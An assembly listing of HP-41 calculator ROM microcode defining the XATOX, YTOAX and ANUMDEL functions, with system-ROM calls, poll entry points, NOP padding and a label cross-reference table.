.con 0x001 ; .NAME "XATOX" XATOX: .con 0x384 ; ST=0 0 ; .con 0x379 ; GSB41C LB_ACDC ACDC ; GSUBNC 0FDE, address in same Quad RXQ LB_ACDC ;LB_AD48: .con 0x03C ; ; .con 0x0DC ; .con 0x0A6 ; ACEX S&X .con 0x346 ; ?A#0 S&X ; .con 0x02B ; GONC +05 LB_AD51 AD51 gonc LB_AD51 .con 0x0F8 ; C=REGN ( 3)X .con 0x308 ; ST=1 1 .con 0x2FE ; ?C#0 MS ; .con 0x01F ; GOC +03 LB_AD53 AD53 goc LB_AD53 LB_AD51: .con 0x304 ; ST=0 1 .con 0x166 ; A=A+1 S&X LB_AD53: .con 0x130 ; LDI 019 .con 0x019 ; .con 0x306 ; ?A<C S&X .con 0x0B5 ; GOLNC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A2 ; .con 0x104 ; ST=0 8 .con 0x066 ; ABEX S&X .con 0x30C ; ST=1? 1 ; .con 0x02B ; GONC +05 LB_AD60 AD60 gonc LB_AD60 ; .con 0x379 ; GSB41C LB_AD32 AD32 ; GSUBNC 0FDE, address in same Quad RXQ LB_AD32 ; .con 0x03C ; ; .con 0x132 ; ; .con 0x023 ; GONC +04 LB_AD63 AD63 gonc LB_AD63 ;LB_AD60: .con 0x379 ; GSB41C LB_AD23 AD23 ; GSUBNC 0FDE, address in same Quad LB_AD60: RXQ LB_AD23 ; .con 0x03C ; ; .con 0x123 ; LB_AD63: .con 0x10C ; ST=1? 8 .con 0x0B5 ; GOLC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A3 ; .con 0x38C ; ST=1? 0 ; .con 0x077 ; GOC +0E LB_AD75 AD75 goc LB_AD75 .con 0x0E6 ; BCEX S&X ; .con 0x379 ; GSB41C LB_ACBC ACBC ; GSUBNC 0FDE, address in same Quad RXQ LB_ACBC ; .con 0x03C ; ; .con 0x0BC ; .con 0x0EE ; BCEX ALL .con 0x3A9 ; GOLNC FILLXL 00EA ; HP41 SYSTEM ROM 0 .con 0x002 ; .con 0x098 ; .con 0x001 ; .con 0x00F ; .con 0x014 ; .NAME "YTOAX" YTOAX: .con 0x388 ; ST=1 0 ;LB_AD75: .con 0x29B ; GONC -2D LB_AD48 AD48 LB_AD75: gonc LB_AD48 ; .con 0x379 ; GSB41C LB_ACD8 ACD8 ; GSUBNC 0FDE, address in same Quad RXQ LB_ACD8 ; .con 0x03C ; ; .con 0x0D8 ; .con 0x01C ; PT= 3 .con 0x08D ; GOLNC PTBYTA 2323 ; HP41 SYSTEM ROM 2 .con 0x08E ; LB_AD7C: .con 0x1A0 ; CLRABC .con 0x158 ; M=C .con 0x141 ; GSUBNC GETPC 2950 ; HP41 SYSTEM ROM 2 .con 0x0A4 ; LB_AD80: .con 0x01D ; GSUBNC NXTBYT 2D07 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x056 ; C=0 XS .con 0x2E6 ; ?C#0 S&X ; .con 0x3E3 ; GONC -04 LB_AD80 AD80 gonc LB_AD80 LB_AD85: .con 0x39C ; PT= 0 .con 0x06E ; ABEX ALL .con 0x106 ; A=C S&X .con 0x130 ; LDI 01A .con 0x01A ; .con 0x306 ; ?A<C S&X ; .con 0x06B ; GONC +0D LB_AD98 AD98 gonc LB_AD98 .con 0x042 ; C=0 @R .con 0x306 ; ?A<C S&X ; .con 0x057 ; GOC +0A LB_AD98 AD98 goc LB_AD98 .con 0x1D8 ; CMEX .con 0x2FC ; RCR 13 .con 0x0A2 ; ACEX @R .con 0x1D8 ; CMEX .con 0x019 ; GSUBNC NBYTAB 2D06 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x17E ; A=A+1 MS .con 0x056 ; C=0 XS ; .con 0x373 ; GONC -12 LB_AD85 AD85 gonc LB_AD85 LB_AD98: .con 0x06E ; ABEX ALL .con 0x31D ; GSUBNC DECAD 29C7 ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x35E ; ?A#0 MS .con 0x0BD ; GSUBC PUTPCX 232F ; HP41 SYSTEM ROM 2 .con 0x08D ; .con 0x198 ; C=M .con 0x05A ; C=0 M .con 0x3E1 ; GSUBNC GOTINT 02F8 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x106 ; A=C S&X .con 0x3E0 ; RTN LB_ADA4: .con 0x130 ; LDI 080 .con 0x080 ; .con 0x306 ; ?A<C S&X ; .con 0x05F ; GOC +0B LB_ADB2 ADB2 goc LB_ADB2 .con 0x1C6 ; A=A-C S&X ; .con 0x379 ; GSB41C LB_ADB2 ADB2 ; GSUBNC 0FDE, address in same Quad RXQ LB_ADB2 ; .con 0x03C ; ; .con 0x1B2 ; .con 0x0A6 ; ACEX S&X .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x0A6 ; ACEX S&X LB_ADB2: .con 0x046 ; C=0 S&X .con 0x270 ; DADD=C .con 0x378 ; C=REGN (13)c .con 0x03C ; RCR 3 .con 0x146 ; A=A+C S&X .con 0x130 ; LDI 200 .con 0x200 ; .con 0x306 ; ?A<C S&X .con 0x381 ; GOLNC ERRNE 02E0 ; HP41 SYSTEM ROM 0 .con 0x00A ; .con 0x3E0 ; RTN .con 0x000 ; NOP .con 0x000 ; NOP ;LB_ADBF: .con 0x3B5 ; GSB41C LB_ADD2 ADD2 ; GSUBNC 23ED, address in 4th Quad LB_ADBF: RXQ LB_ADD2 ; .con 0x08C ; ; .con 0x1D2 ; .con 0x20C ; ST=1? 2 ; .con 0x01B ; GONC +03 LB_ADC6 ADC6 gonc LB_ADC6 .con 0x006 ; A=0 S&X ; .con 0x053 ; GONC +0A LB_ADCF ADCF gonc LB_ADCF LB_ADC6: .con 0x04E ; C=0 ALL .con 0x130 ; LDI 005 .con 0x005 ; .con 0x0EA ; BCEX R<- .con 0x008 ; ST=1 3 ; .con 0x3B5 ; GSB41C LB_ADF2 ADF2 ; GSUBNC 23ED, address in 4th Quad RXQ LB_ADF2 ; .con 0x08C ; ; .con 0x1F2 ; .con 0x166 ; A=A+1 S&X LB_ADCF: .con 0x0A6 ; ACEX S&X .con 0x106 ; A=C S&X .con 0x3E0 ; RTN LB_ADD2: .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x01C ; PT= 3 .con 0x190 ; LC 6 .con 0x130 ; LDI 008 .con 0x008 ; .con 0x01C ; PT= 3 .con 0x10A ; A=C R<- .con 0x204 ; ST=0 2 LB_ADDB: .con 0x359 ; GSUBNC INCADA 29D6 ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x2ED ; GSUBNC GTBYTA 29BB ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x056 ; C=0 XS .con 0x2E6 ; ?C#0 S&X ; .con 0x03F ; GOC +07 LB_ADE8 ADE8 goc LB_ADE8 .con 0x130 ; LDI 005 .con 0x005 ; .con 0x042 ; C=0 @R .con 0x36A ; ?A#C R<- ; .con 0x3AF ; GOC -0B LB_ADDB ADDB goc LB_ADDB .con 0x208 ; ST=1 2 LB_ADE8: .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x01C ; PT= 3 .con 0x238 ; C=REGN ( 8)P .con 0x0FC ; RCR 10 .con 0x0AA ; ACEX R<- .con 0x10A ; A=C R<- .con 0x07C ; RCR 4 .con 0x228 ; REGN=C ( 8)P .con 0x3E0 ; RTN LB_ADF2: .con 0x01C ; PT= 3 .con 0x04E ; C=0 ALL .con 0x182 ; A=A-B @R ; .con 0x043 ; GONC +08 LB_ADFD ADFD gonc LB_ADFD .con 0x1A6 ; A=A-1 S&X .con 0x00C ; ST=1? 3 ; .con 0x01F ; GOC +03 LB_ADFB ADFB goc LB_ADFB .con 0x1A2 ; A=A-1 @R .con 0x1A2 ; A=A-1 @R LB_ADFB: .con 0x1A2 ; A=A-1 @R LB_ADFC: .con 0x1A2 ; A=A-1 @R LB_ADFD: .con 0x1A2 ; A=A-1 @R ; .con 0x01F ; GOC +03 LB_AE01 AE01 goc LB_AE01 .con 0x226 ; C=C+1 S&X ; .con 0x3E3 ; GONC -04 LB_ADFC ADFC gonc LB_ADFC LB_AE01: .con 0x186 ; A=A-B S&X .con 0x0EA ; BCEX R<- .con 0x002 ; A=0 @R .con 0x0AA ; ACEX R<- .con 0x10A ; A=C R<- .con 0x1EA ; C=C+C R<- .con 0x1EA ; C=C+C R<- .con 0x1EA ; C=C+C R<- .con 0x0AA ; ACEX R<- .con 0x1CA ; A=A-C R<- .con 0x00C ; ST=1? 3 ; .con 0x017 ; GOC +02 LB_AE0E AE0E goc LB_AE0E .con 0x1CA ; A=A-C R<- LB_AE0E: .con 0x12A ; A=A+B R<- .con 0x3E0 ; RTN LB_AE10: .con 0x01E ; A=0 MS .con 0x130 ; LDI 010 .con 0x010 ; .con 0x270 ; DADD=C .con 0x3A1 ; GSUBNC GENNUM 05E8 ; HP41 SYSTEM ROM 0 .con 0x014 ; .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x0DE ; C=B MS .con 0x19C ; PT= 11 .con 0x27E ; C=C-1 MS LB_AE1B: .con 0x27E ; C=C-1 MS ; .con 0x027 ; GOC +04 LB_AE20 AE20 goc LB_AE20 .con 0x226 ; C=C+1 S&X .con 0x3D4 ; DECPT ; .con 0x3E3 ; GONC -04 LB_AE1B AE1B gonc LB_AE1B LB_AE20: .con 0x00A ; A=0 R<- .con 0x106 ; A=C S&X .con 0x35C ; PT= 12 LB_AE23: .con 0x342 ; ?A#0 @R ; .con 0x02F ; GOC +05 LB_AE29 AE29 goc LB_AE29 .con 0x3FA ; ASL M .con 0x1A6 ; A=A-1 S&X ; .con 0x3E3 ; GONC -04 LB_AE23 AE23 gonc LB_AE23 .con 0x00E ; A=0 ALL LB_AE29: .con 0x01E ; A=0 MS .con 0x08E ; B=A ALL .con 0x3E0 ; RTN .con 0x0F8 ; C=REGN ( 3)X .con 0x10E ; A=C ALL .con 0x130 ; LDI 3E8 .con 0x3E8 ; ; .con 0x02B ; GONC +05 LB_AE35 AE35 gonc LB_AE35 LB_AE31: .con 0x0F8 ; C=REGN ( 3)X .con 0x10E ; A=C ALL .con 0x130 ; LDI 100 .con 0x100 ; LB_AE35: .con 0x0E6 ; BCEX S&X .con 0x0AE ; ACEX ALL .con 0x361 ; GSUBNC CHK$S 14D8 ; HP41 SYSTEM ROM 1 .con 0x050 ; .con 0x260 ; SETHEX .con 0x10E ; A=C ALL .con 0x356 ; ?A#0 XS ; .con 0x03F ; GOC +07 LB_AE43 AE43 goc LB_AE43 .con 0x130 ; LDI 003 .con 0x003 ; .con 0x306 ; ?A<C S&X LB_AE40: .con 0x0B5 ; GOLNC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A2 ; .con 0x0AE ; ACEX ALL LB_AE43: .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x106 ; A=C S&X .con 0x326 ; ?A<B S&X ; .con 0x3CB ; GONC -07 LB_AE40 AE40 gonc LB_AE40 .con 0x3E0 ; RTN ;LB_AE49: .con 0x379 ; GSB41C LB_AE64 AE64 ; GSUBNC 0FDE, address in same Quad LB_AE49: RXQ LB_AE64 ; .con 0x03C ; ; .con 0x264 ; .con 0x204 ; ST=0 2 LB_AE4D: .con 0x359 ; GSUBNC INCADA 29D6 ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x2ED ; GSUBNC GTBYTA 29BB ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x056 ; C=0 XS .con 0x2E6 ; ?C#0 S&X ; .con 0x03F ; GOC +07 LB_AE5A AE5A goc LB_AE5A .con 0x130 ; LDI 005 .con 0x005 ; .con 0x042 ; C=0 @R .con 0x36A ; ?A#C R<- ; .con 0x3AF ; GOC -0B LB_AE4D AE4D goc LB_AE4D .con 0x208 ; ST=1 2 LB_AE5A: .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x01C ; PT= 3 LB_AE5D: .con 0x238 ; C=REGN ( 8)P .con 0x0FC ; RCR 10 .con 0x0AA ; ACEX R<- .con 0x10A ; A=C R<- .con 0x07C ; RCR 4 .con 0x228 ; REGN=C ( 8)P .con 0x3E0 ; RTN LB_AE64: .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x238 ; C=REGN ( 8)P .con 0x130 ; LDI 008 .con 0x008 ; .con 0x01C ; PT= 3 .con 0x190 ; LC 6 .con 0x01C ; PT= 3 .con 0x10A ; A=C R<- ; .con 0x383 ; GONC -10 LB_AE5D AE5D gonc LB_AE5D .con 0x08C ; .con 0x005 ; .con 0x004 ; .con 0x00D ; .con 0x015 ; .con 0x00E ; .NAME "ANUMDEL" ;ANUMDEL: .con 0x379 ; GSB41C LB_AE49 AE49 ; GSUBNC 0FDE, address in same Quad ANUMDEL: RXQ LB_AE49 ; .con 0x03C ; ; .con 0x249 ; .con 0x20C ; ST=1? 2 .con 0x360 ; RTNC .con 0x08A ; B=A R<- LB_AE7B: .con 0x04E ; C=0 ALL .con 0x26E ; C=C-1 ALL .con 0x056 ; C=0 XS .con 0x2DC ; PT= 13 .con 0x290 ; LC A .con 0x268 ; REGN=C ( 9)Q .con 0x28D ; GSUBNC STBT10 2EA3 ; HP41 SYSTEM ROM 2 .con 0x0B8 ; .con 0x1BC ; RCR 11 .con 0x008 ; ST=1 3 .con 0x398 ; C=ST .con 0x03C ; RCR 3 .con 0x228 ; REGN=C ( 8)P LB_AE88: .con 0x244 ; ST=0 9 .con 0x01C ; PT= 3 .con 0x06A ; ABEX R<- .con 0x08A ; B=A R<- .con 0x2ED ; GSUBNC GTBYTA 29BB ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x056 ; C=0 XS .con 0x106 ; A=C S&X .con 0x130 ; LDI 03A .con 0x03A ; .con 0x306 ; ?A<C S&X ; .con 0x18B ; GONC +31 LB_AEC4 AEC4 gonc LB_AEC4 .con 0x130 ; LDI 030 .con 0x030 ; .con 0x306 ; ?A<C S&X ; .con 0x1BF ; GOC +37 LB_AECE AECE goc LB_AECE .con 0x130 ; LDI 020 .con 0x020 ; .con 0x246 ; C=A-C S&X LB_AE9B: .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x0DD ; GSUBNC DIGENT 0837 ; HP41 SYSTEM ROM 0 .con 0x020 ; LB_AE9F: .con 0x01C ; PT= 3 .con 0x06A ; ABEX R<- .con 0x046 ; C=0 S&X .con 0x08D ; GSUBNC PTBYTA 2323 ; HP41 SYSTEM ROM 2 .con 0x08C ; .con 0x04E ; C=0 ALL .con 0x130 ; LDI 005 .con 0x005 ; .con 0x36A ; ?A#C R<- ; .con 0x05B ; GONC +0B LB_AEB3 AEB3 gonc LB_AEB3 .con 0x359 ; GSUBNC INCADA 29D6 ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x06A ; ABEX R<- .con 0x24C ; ST=1? 9 ; .con 0x277 ; GOC -32 LB_AE7B AE7B goc LB_AE7B ; .con 0x2D3 ; GONC -26 LB_AE88 AE88 gonc LB_AE88 LB_AEAF: .con 0x248 ; ST=1 9 .con 0x278 ; C=REGN ( 9)Q .con 0x23A ; C=C+1 M ; .con 0x36F ; GOC -13 LB_AE9F AE9F goc LB_AE9F LB_AEB3: .con 0x278 ; C=REGN ( 9)Q .con 0x23A ; C=C+1 M .con 0x360 ; RTNC .con 0x3B8 ; C=REGN (14)d .con 0x13C ; RCR 8 .con 0x3D8 ; CSTEX .con 0x308 ; ST=1 1 .con 0x3D8 ; CSTEX .con 0x17C ; RCR 6 .con 0x3A8 ; REGN=C (14)d .con 0x18C ; ST=1? 11 .con 0x3B5 ; GSUBC R^SUB 14ED ; HP41 SYSTEM ROM 1 .con 0x051 ; .con 0x179 ; GSUBNC NOREG9 095E ; HP41 SYSTEM ROM 0 .con 0x024 ; .con 0x3B9 ; GOLNC NFRPR 00EE ; HP41 SYSTEM ROM 0 .con 0x002 ; LB_AEC4: .con 0x130 ; LDI 045 .con 0x045 ; .con 0x366 ; ?A#C S&X ; .con 0x347 ; GOC -18 LB_AEAF AEAF goc LB_AEAF .con 0x278 ; C=REGN ( 9)Q .con 0x23A ; C=C+1 M ; .con 0x32F ; GOC -1B LB_AEAF AEAF goc LB_AEAF .con 0x130 ; LDI 01B .con 0x01B ; ; .con 0x273 ; GONC -32 LB_AE9B AE9B gonc LB_AE9B LB_AECE: .con 0x130 ; LDI 02B .con 0x02B ; .con 0x366 ; ?A#C S&X ;LB_AED1: .con 0x273 ; GONC -32 LB_AE9F AE9F LB_AED1: gonc LB_AE9F .con 0x226 ; C=C+1 S&X .con 0x366 ; ?A#C S&X ; .con 0x037 ; GOC +06 LB_AEDA AEDA goc LB_AEDA .con 0x08C ; ST=1? 5 ; .con 0x07F ; GOC +0F LB_AEE5 AEE5 goc LB_AEE5 LB_AED7: .con 0x130 ; LDI 01A .con 0x01A ; ;LB_AED9: .con 0x213 ; GONC -3E LB_AE9B AE9B LB_AED9: gonc LB_AE9B LB_AEDA: .con 0x226 ; C=C+1 S&X .con 0x366 ; ?A#C S&X ; .con 0x027 ; GOC +04 LB_AEE0 AEE0 goc LB_AEE0 .con 0x130 ; LDI 01C .con 0x01C ; ; .con 0x3D3 ; GONC -06 LB_AED9 AED9 gonc LB_AED9 LB_AEE0: .con 0x226 ; C=C+1 S&X .con 0x366 ; ?A#C S&X ; .con 0x26F ; GOC -33 LB_AEAF AEAF goc LB_AEAF .con 0x08C ; ST=1? 5 ; .con 0x39F ; GOC -0D LB_AED7 AED7 goc LB_AED7 LB_AEE5: .con 0x04C ; ST=1? 4 ; .con 0x24B ; GONC -37 LB_AEAF AEAF gonc LB_AEAF ; .con 0x353 ; GONC -16 LB_AED1 AED1 gonc LB_AED1 .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP LB_AF91: .con 0x3C1 ; GSUBNC CLLCDE 2CF0 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x1B0 ; C=STK LB_AF94: .con 0x330 ; CXISA .con 0x23A ; C=C+1 M .con 0x3E8 ; REGN=C (15)e .con 0x276 ; C=C-1 XS ; .con 0x3E7 ; GOC -04 LB_AF94 AF94 goc LB_AF94 .con 0x276 ; C=C-1 XS ; .con 0x3D7 ; GOC -06 LB_AF94 AF94 goc LB_AF94 .con 0x130 ; LDI 020 .con 0x020 ; .con 0x10E ; A=C ALL .con 0x31C ; PT= 1 LB_AF9F: .con 0x3F8 ; C=REGN (15)e .con 0x36A ; ?A#C R<- ; .con 0x3F3 ; GONC -02 LB_AF9F AF9F gonc LB_AF9F .con 0x3A8 ; REGN=C (14)d ; .con 0x379 ; GSB41C LB_AFA8 AFA8 ; GSUBNC 0FDE, address in same Quad RXQ LB_AFA8 ; .con 0x03C ; ; .con 0x3A8 ; .con 0x0AE ; ACEX ALL .con 0x1E0 ; GOTOC LB_AFA8: .con 0x130 ; LDI 001 .con 0x001 ; .con 0x3D8 ; CSTEX .con 0x258 ; F=SB .con 0x04E ; C=0 ALL .con 0x3D8 ; CSTEX .con 0x258 ; F=SB .con 0x3E0 ; RTN LB_AFB0: .con 0x3DD ; GSUBNC LEFTJ 2BF7 ; HP41 SYSTEM ROM 2 .con 0x0AC ; .con 0x201 ; GSUBNC MSG105 1C80 ; HP41 SYSTEM ROM 1 .con 0x070 ; .con 0x130 ; LDI 3FF .con 0x3FF ; LB_AFB6: .con 0x266 ; C=C-1 S&X ; .con 0x3FB ; GONC -01 LB_AFB6 AFB6 gonc LB_AFB6 .con 0x3E0 ; RTN LB_AFB9: .con 0x268 ; REGN=C ( 9)Q ; .con 0x379 ; GSB41C LB_AF91 AF91 ; GSUBNC 0FDE, address in same Quad RXQ LB_AF91 ; .con 0x03C ; ; .con 0x391 ; ; .con 0x013 ; GONC +02 LB_AFBF AFBF gonc LB_AFBF .con 0x019 ; GOLC 0406 LB_AFBF: .con 0x013 ; .con 0x014 ; ?PT= 3 .con 0x005 ; GSUBC 0301 .con 0x00D ; .con 0x020 ; SPOPND .con 0x004 ; ST=0 3 ; .con 0x00F ; GOC +01 LB_AFC6 AFC6 goc LB_AFC6 ;LB_AFC6: .con 0x017 ; GOC +02 LB_AFC8 AFC8 LB_AFC6: goc LB_AFC8 .con 0x20E ; C=A+C ALL ;LB_AFC8: .con 0x379 ; GSB41C LB_AFB0 AFB0 ; GSUBNC 0FDE, address in same Quad LB_AFC8: RXQ LB_AFB0 ; .con 0x03C ; ; .con 0x3B0 ; .con 0x130 ; LDI 3FF .con 0x3FF ; LB_AFCD: .con 0x266 ; C=C-1 S&X ; .con 0x3FB ; GONC -01 LB_AFCD AFCD gonc LB_AFCD .con 0x2E0 ; DISOFF ; .con 0x0AB ; GONC +15 LB_AFE5 AFE5 gonc LB_AFE5 LB_AFD1: .con 0x268 ; REGN=C ( 9)Q ; .con 0x379 ; GSB41C LB_AF91 AF91 ; GSUBNC 0FDE, address in same Quad RXQ LB_AF91 ; .con 0x03C ; ; .con 0x391 ; ; .con 0x017 ; GOC +02 LB_AFD7 AFD7 goc LB_AFD7 .con 0x009 ; GOLNC 0302 LB_AFD7: .con 0x00E ; .con 0x004 ; ST=0 3 ; .con 0x00F ; GOC +01 LB_AFDA AFDA goc LB_AFDA ;LB_AFDA: .con 0x017 ; GOC +02 LB_AFDC AFDC LB_AFDA: goc LB_AFDC ; .con 0x013 ; GONC +02 LB_AFDD AFDD gonc LB_AFDD LB_AFDC: .con 0x022 ; B=0 @R LB_AFDD: .con 0x034 ; UNDEF034 .con 0x031 ; GOLNC GETX10 880C ; Extended Functions .con 0x222 ; .con 0x108 ; ST=1 8 .con 0x201 ; GSUBNC MSG105 1C80 ; HP41 SYSTEM ROM 1 .con 0x070 ; .con 0x3ED ; GSUBNC ERR110 22FB ; HP41 SYSTEM ROM 2 .con 0x088 ; ;LB_AFE5: .con 0x043 ; GONC +08 LB_AFED AFED LB_AFE5: gonc LB_AFED LB_AFE6: .con 0x268 ; REGN=C ( 9)Q .con 0x130 ; LDI 01A .con 0x01A ; .con 0x106 ; A=C S&X .con 0x244 ; ST=0 9 .con 0x259 ; GSUBNC 1796 .con 0x05C ; LB_AFED: .con 0x25D ; GSUBNC LDSST0 0797 ; HP41 SYSTEM ROM 0 .con 0x01C ; .con 0x278 ; C=REGN ( 9)Q .con 0x260 ; SETHEX .con 0x0A0 ; SELP .con 0x3CD ; GOLNC RMCK10 27F3 ; HP41 SYSTEM ROM 2 .con 0x09E ; _EN_PSE: .con 0x000 ; NOP _EN_PRGM: .con 0x000 ; NOP _EN_SLEEP: .con 0x000 ; NOP ;_EN_OFF: .con 0x213 ; GONC -3E LB_AFB9 AFB9 ; Turn OFF by key or XEQ OFF _EN_OFF: gonc LB_AFB9 _EN_IOSVC: .con 0x000 ; NOP ;_EN_ON: .con 0x2C3 ; GONC -28 LB_AFD1 AFD1 ; Awaken by pressing ON key _EN_ON: gonc LB_AFD1 ;_EN_MEMLST:.con 0x363 ; GONC -14 LB_AFE6 AFE6 ; MEMORY LOST interrupt _EN_MEMLST:gonc LB_AFE6 _ROMREV: .con 0x031 ; .ROMREV WN-41 _ROMREV: .con 0x034 ; _ROMREV: .con 0x00E ; _ROMREV: .con 0x017 ; _CHKSUM: .con 0x397 ; .CHKSUM 397 ; Calculated Checksum: 2B5 ;:Label Cross reference table ;:LOCAL LABELS ;:SYMBOL--------ADDR----REFERENCES------------- ;:_CHKSUM .con 0x ;:_EN_IOSVC .con 0x ;:_EN_MEMLST .con 0x ;:_EN_OFF .con 0x ;:_EN_ON .con 0x ;:_EN_PRGM .con 0x ;:_EN_PSE .con 0x ;:_EN_SLEEP .con 0x ;:_FATEND .con 0x ;:_FATEND .con 0x ;:_FCNS .con 0x ;:_ROMREV .con 0x ;:_ROMREV .con 0x ;:_ROMREV .con 0x ;:_ROMREV .con 0x ;:_XR_006.00 .con 0x ;:_XR_006.01 .con 0x ;:_XR_006.02 .con 0x ;:_XR_006.03 .con 0x ;:_XR_006.04 .con 0x ;:_XR_006.05 .con 0x ;:_XR_006.06 .con 0x ;:_XR_006.07 .con 0x ;:_XR_006.08 .con 0x ;:_XR_006.09 .con 0x ;:_XR_006.10 .con 0x ;:_XR_006.11 .con 0x ;:_XR_006.12 .con 0x ;:_XR_006.13 .con 0x ;:_XR_006.14 .con 0x ;:_XR_006.15 .con 0x ;:_XR_006.16 .con 0x ;:_XR_006.17 .con 0x ;:_XR_006.18 .con 0x ;:_XR_006.19 .con 0x ;:_XR_006.20 .con 0x ;:_XR_006.21 .con 0x ;:_XR_006.22 .con 0x ;:_XR_006.23 .con 0x ;:_XR_006.24 .con 0x ;:_XR_006.25 .con 0x ;:_XR_006.26 .con 0x ;:_XR_006.27 .con 0x ;:_XR_006.28 .con 0x ;:_XR_006.29 .con 0x ;:_XR_006.30 .con 0x ;:_XR_006.31 .con 0x ;:_XR_006.32 .con 0x ;:_XR_006.33 .con 0x ;:_XR_006.34 .con 0x ;:_XR_006.35 .con 0x ;:_XR_006.36 .con 0x ;:_XR_006.37 .con 0x ;:_XR_006.38 .con 0x ;:_XR_006.39 .con 0x ;:_XR_006.40 .con 0x ;:_XR_006.41 .con 0x ;:_XR_006.42 .con 0x ;:_XR_006.43 .con 0x ;:_XR_006.44 .con 0x ;:_XR_006.45 .con 0x ;:_XR_006.46 .con 0x ;:_XR_006.47 .con 0x ;:_XR_006.48 .con 0x ;:_XR_006.49 .con 0x ;:_XR_006.50 .con 0x ;:_XR_006.51 .con 0x ;:_XR_006.52 .con 0x ;:_XR_006.53 .con 0x ;:_XR_006.54 .con 0x ;:_XR_006.55 .con 0x ;:_XR_006.56 .con 0x ;:_XR_006.57 .con 0x 